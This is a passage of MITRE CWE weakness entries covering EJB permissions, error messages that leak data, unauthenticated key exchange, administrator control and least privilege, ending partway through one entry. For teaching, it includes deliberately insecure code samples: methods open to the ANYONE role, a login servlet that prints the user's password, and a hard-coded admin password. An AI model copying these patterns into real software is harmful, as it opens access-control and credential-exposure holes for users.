2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Misconfiguration: Password in Configuration File

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID: 9
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the product.
+ Extended Description
If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.266Incorrect Privilege Assignment
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Demonstrative Examples

Example 1

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

(bad code)
Example Language: XML 
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
+ Potential Mitigations

Phases: Architecture and Design; System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Misconfiguration: Weak Access Permissions
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Misconfiguration: Weak Access Permissions

CWE-537: Java Runtime Error Message Containing Sensitive Information

Weakness ID: 537
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

In the following Java example the class InputFileRead enables an input file to be read using a FileReader object. In the constructor of this class a default input file path is set to some directory on the local file system and the method setInputFile must be called to set the name of the input file to be read in the default directory. The method readInputFile will create the FileReader object and will read the contents of the file. If the method setInputFile is not called prior to calling the method readInputFile then the File object will remain null when initializing the FileReader object. A Java RuntimeException will be raised, and an error message will be output to the user.

(bad code)
Example Language: Java 
public class InputFileRead {
private File readFile = null;
private FileReader reader = null;
private String inputFilePath = null;
private final String DEFAULT_FILE_PATH = "c:\\somedirectory\\";

public InputFileRead() {
inputFilePath = DEFAULT_FILE_PATH;
}

public void setInputFile(String inputFile) {

/* Assume appropriate validation / encoding is used and privileges / permissions are preserved */
}

public void readInputFile() {
try {
reader = new FileReader(readFile);
...
} catch (RuntimeException rex) {
System.err.println("Error: Cannot open input file in the directory " + inputFilePath);
System.err.println("Input file has not been set, call setInputFile method before calling readInputFile");


} catch (FileNotFoundException ex) {...}
}
}

However, the error message output to the user contains information regarding the default directory on the local file system. This information can be exploited and may lead to unauthorized access or use of the system. Any Java RuntimeExceptions that are handled should not expose sensitive information to the user.

Example 2

In the example below, the BankManagerLoginServlet servlet class will process a login request to determine if a user is authorized to use the BankManager Web service. The doPost method will retrieve the username and password from the servlet request and will determine if the user is authorized. If the user is authorized the servlet will go to the successful login page. Otherwise, the servlet will raise a FailedLoginException and output the failed login message to the error page of the service.

(bad code)
Example Language: Java 
public class BankManagerLoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {

// Get username and password from login page request
String username = request.getParameter("username");
String password = request.getParameter("password");
// Authenticate user
BankManager bankMgr = new BankManager();
boolean isAuthentic = bankMgr.authenticateUser(username, password);
// If user is authenticated then go to successful login page
if (isAuthentic) {
request.setAttribute("login", new String("Login Successful."));
getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
}
else {

// Otherwise, raise failed login exception and output unsuccessful login message to error page
throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
}
} catch (FailedLoginException ex) {

// output failed login message to error page
request.setAttribute("error", new String("Login Error"));
request.setAttribute("message", ex.getMessage());
getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
}
}

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

+ Potential Mitigations

Phase: Implementation

Do not expose sensitive error information to the user.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Java Runtime Error Message
2020-02-24Information Exposure Through Java Runtime Error Message

CWE-322: Key Exchange without Entity Authentication

Weakness ID: 322
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs a key exchange with an actor without verifying the identity of that actor.
+ Extended Description
Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable an attacker to impersonate an actor by modifying traffic between the two entities. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.306Missing Authentication for Critical Function
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.320Key Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.417Communication Channel Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

No authentication takes place in this process, bypassing an assumed protection of encryption.
Confidentiality

Technical Impact: Read Application Data

The encrypted communication between a user and a trusted host may be subject to sniffing by any actor in the communication path.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, allowing attackers to influence communications by redirecting or interfering with the communication path. Many people using SSL/TLS skip the authentication (often unknowingly).

+ Potential Mitigations

Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPKey exchange without entity authentication
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Untrustworthy Credentials", Page 37. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-10CWE Content TeamMITRE
clarified the description
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, References, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-671: Lack of Administrator Control over Security

Weakness ID: 671
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.
+ Extended Description
If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.447Unimplemented or Unsupported Feature in UI
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Demonstrative Examples

Example 1

The following code is an example of an internal hard-coded password in the back-end:

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0)
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) {
return(0)
}
//Diagnostic Mode
return(1);
}

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

+ Observed Examples
ReferenceDescription
Condition Monitor firmware has a maintenance interface with hard-coded credentials
GUI configuration tool does not enable a security option when a checkbox is selected, although that option is honored when manually set in the configuration file.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1418Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships
2009-01-12CWE Content TeamMITRE
updated Description, Name
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Design Principle Violation: Lack of Administrator Control over Security

CWE-272: Least Privilege Violation

Weakness ID: 272
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

